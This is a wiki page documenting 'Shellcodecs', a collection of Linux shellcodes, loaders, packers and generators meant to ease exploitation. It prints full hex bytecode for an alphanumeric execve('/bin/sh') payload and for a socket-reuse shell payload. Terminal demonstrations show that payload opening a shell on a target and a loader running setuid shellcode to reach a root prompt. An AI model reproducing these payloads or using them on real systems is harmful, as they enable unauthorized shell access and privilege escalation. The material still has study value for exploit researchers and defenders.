Shellcodecs

Shellcodecs is a collection of shellcodes, loaders, sources, and generators provided with documentation designed to ease the exploitation and shellcode programming process.

Dependencies

In order to run these shellcodes, the following dependencies are required:

• Linux
• GCC
• Generators require Python 2.7
• Automake

Unless otherwise noted, code is amd64. There are various 32-bit examples as well. If you think you may have an out of date version, or that the official version is out-of-sync with the site, the latest sources will be available 100% of the time in the shellcode appendix.

Contents

Loaders

---

• 32-bit executable mmap-based shellcode loader 66 bytes (loader-32.s) (Docs)
• 64-bit executable mmap-based shellcode loader 79 bytes (loader-64.s) (Docs)
• A dynamic loader for locally executable code in C (dynamic-loader.c)
• A dynamic loader for remotely executable code (socket-loader.c)

Tools

---

• Nicely output shellcode in a variety of formats (shellcode-generator.py)
• Hash-generator for self-linking shellcode 81 bytes (hash-generator.s)
• Socket-reuse shellcode generator (socket-reuse-generator.py)
• Polymorphic socket reuse generator (poly-socket-reuse-generator.py)
• Sends socket reuse shellcode (socket-reuse.c)
• 32-bit shellcode packer 37 bytes (packer-32.s) (Docs)
• 64-bit shellcode packer 55 bytes (packer-64.s) (Docs)
• ELF64 symbol table parser 188 bytes (elf64-parser.s) (Docs)

Payloads

---

• Short unlinked 64-bit null-free setuid(0); execve('/bin/sh',0,0); 32 bytes (setuid_binsh.s) (Docs)
• Small unlinked 32-bit null-free write-to-file payload 90 bytes (write-file-32.s) (Docs)
• Null-free unlinked same-socket-shell payload 115 bytes (socket-reuse.s) (Docs)
• Alphanumeric amd64 execve('/bin/sh',0,0) 104 bytes (ascii_binsh.s) (Docs)
• Null-free dynamic ELF64 exit code 135 bytes (linked-exit.s) (Docs)
• Null-free dynamic ELF64 socket reuse shellcode 268 bytes (linker-fd-reuse.s) (Docs)
• Null-free polymorphic dynamic ELF64 socket reuse shellcode 268 bytes (poly-linker-fd-reuse.s)

Stubs

---

• A 32-bit getpc (%eax) example 11 bytes (getpc-32.s) (Docs)
• A 64-bit getpc (%rax) example 12 bytes (getpc-64.s) (Docs)
• Alternative 64-bit getpc 10 bytes (getpc-64-alt.s) (Docs)
• Int3 detection code 24 bytes (int3-detect-64.s) (Docs)
• 32-bit lastcall example code 4 bytes (lastcall-32.s) (Docs)
• 64-bit lastcall example code 5 bytes (lastcall-64.s) (Docs)
• 64-bit alphanumeric lastcall example code 13 bytes (lastcall-alphanum.s) (Docs)
• Alphanumeric x86* compatible getCPU 15 bytes (architecture_detection) (Docs)
• 32-bit shellcode unpacker 89 bytes (decoder-32.s) (Docs)
• 64-bit shellcode unpacker (mmap) 102 bytes (decoder-64.s) (Docs)
• 64-bit shellcode unpacker 69 bytes (decoder-64.s) (Docs)

Building the code

• tar xzvf shellcode.tgz
• cd shellcode
• make

It is also possible to make exclusively x86 or x64 binaries using make x86 or make x64. Please keep in mind, there is more support for 64-bit in this package than 32-bit.

Using the tools

Generators

Demonstration of using the shellcode generator to assemble shellcode and output the byte code:

 [user@localhost shellcode]$ generators/shellcode-generator.py --file=ascii-shellcode/ascii_binsh --raw
 XTX4e4uH10H30VYhJG00X1AdTYXHcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWjXHc9H39XTH394cEB00
 [user@localhost shellcode]$ generators/shellcode-generator.py --file=ascii-shellcode/ascii_binsh --hex
 \x58\x54\x58\x34\x65\x34\x75\x48\x31\x30\x48\x33\x30\x56\x59\x68\x4a\x47\x30\x30\x58\x31\x41\x64\x54\x59\x58
 \x48\x63\x71\x30\x31\x71\x30\x48\x63\x71\x34\x31\x71\x34\x48\x63\x79\x30\x48\x63\x71\x30\x57\x5a\x68\x5a\x55
 \x58\x5a\x58\x35\x75\x37\x31\x34\x31\x41\x30\x68\x5a\x47\x51\x6a\x58\x35\x75\x34\x39\x6a\x31\x41\x34\x48\x33
 \x79\x30\x58\x57\x6a\x58\x48\x63\x39\x48\x33\x39\x58\x54\x48\x33\x39\x34\x63\x45\x42\x30\x30
 [user@localhost shellcode]$ generators/shellcode-generator.py --file=ascii-shellcode/ascii_binsh --var
 char shellcode[] = {
   "\x58\x54\x58\x34\x65\x34\x75\x48\x31\x30\x48\x33\x30\x56\x59\x68"
   "\x4a\x47\x30\x30\x58\x31\x41\x64\x54\x59\x58\x48\x63\x71\x30\x31"
   "\x71\x30\x48\x63\x71\x34\x31\x71\x34\x48\x63\x79\x30\x48\x63\x71"
   "\x30\x57\x5a\x68\x5a\x55\x58\x5a\x58\x35\x75\x37\x31\x34\x31\x41"
   "\x30\x68\x5a\x47\x51\x6a\x58\x35\x75\x34\x39\x6a\x31\x41\x34\x48"
   "\x33\x79\x30\x58\x57\x6a\x58\x48\x63\x39\x48\x33\x39\x58\x54\x48"
   "\x33\x39\x34\x63\x45\x42\x30\x30"
 };
 [user@localhost shellcode]$ generators/shellcode-generator.py --file=ascii-shellcode/ascii_binsh --var --len
 char shellcode[] = {
   "\x58\x54\x58\x34\x65\x34\x75\x48\x31\x30\x48\x33\x30\x56\x59\x68"
   "\x4a\x47\x30\x30\x58\x31\x41\x64\x54\x59\x58\x48\x63\x71\x30\x31"
   "\x71\x30\x48\x63\x71\x34\x31\x71\x34\x48\x63\x79\x30\x48\x63\x71"
   "\x30\x57\x5a\x68\x5a\x55\x58\x5a\x58\x35\x75\x37\x31\x34\x31\x41"
   "\x30\x68\x5a\x47\x51\x6a\x58\x35\x75\x34\x39\x6a\x31\x41\x34\x48"
   "\x33\x79\x30\x58\x57\x6a\x58\x48\x63\x39\x48\x33\x39\x58\x54\x48"
   "\x33\x39\x34\x63\x45\x42\x30\x30"
 };
 Length: 104 bytes
 [user@localhost shellcode]$

Demonstration of the socket-reuse generator:

 [user@localhost shellcode]$ generators/socket-reuse-generator.py 

Usage: generators/socket-reuse-generator.py

 <source port>
  [user@localhost shellcode]$ generators/socket-reuse-generator.py 127.0.0.1 1234
  "\xeb\x05\x6a\x3c\x58\x0f\x05\x6a\x02\x5f\x48\x8d\x54\x24\xec\xc6"
  "\x02\x10\x48\x8d\x72\x04\xff\xc7\x66\x85\xff\x74\xe5\x48\x8d\x62"
  "\x14\x48\x83\xec\x20\x6a\x34\x58\x0f\x05\x84\xc0\x75\xe8\x6a\x1b"
  "\x59\xbb\x80\xff\xff\xfe\xf7\xd3\x39\x1c\x8c\x75\xd9\xb1\x35\x66"
  "\xbb\xfb\x2d\x66\xf7\xd3\x66\x39\x1c\x4c\x75\xca\x50\x5e\x6a\x21"
  "\x58\x0f\x05\xff\xc6\x83\xfe\x04\x75\xf4\x5f\x57\x57\x5e\x5a\x48"
  "\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f"
  "\x6a\x3b\x58\x0f\x05"
  [user@localhost shellcode]$ vim socket-reuse/socket-reuse
  [user@localhost shellcode]$ vim socket-reuse/socket-reuse-send.c 
  [user@localhost shellcode]$ gcc -o socket-reuse/socket-reuse-send socket-reuse/socket-reuse-send.c 
  [user@localhost shellcode]$ socket-reuse/socket-reuse-send 127.0.0.1 1235 127.0.0.1 1234 # <target IP> <target port> <source IP> <source port>
  Connecting to 127.0.0.1
  Sending payload
  ls
  Makefile
  ascii-shellcode
  dynamic
  environment
  generators
  loaders
  null-free
  parsing
  self-modifying
  socket-reuse
  exit
  ^C
  [user@localhost shellcode]$
 
==Loaders==
 
  [user@localhost shellcode]$ loaders/loader-64 $(generators/shellcode-generator.py --file=null-free/setuid_binsh.s --raw)
  [root@localhost shellcode]# exit
  exit
  [user@localhost shellcode]$
 
=Getting help=
{{Warning|<center>We are not free technical support and reserve the right to revoke support to anyone for any reason at any time.</center>}}
 
If you're using the tools and there's a problem, try re-reading [[shellcode|the documentation]] before asking a question.  If you're absolutely sure it is programmatical error and not user error preventing the code from working properly, you can let us know by talking on the shellcode talk page.
 
=Credits=
* Lead developer:        [[User:Hatter|hatter]]
* Supporting developers: [[User:jtRIPper|jtRIPper]], [[User:Eax|eax]]
 
{{programming}}{{social}}
[[Category:Shellcode]]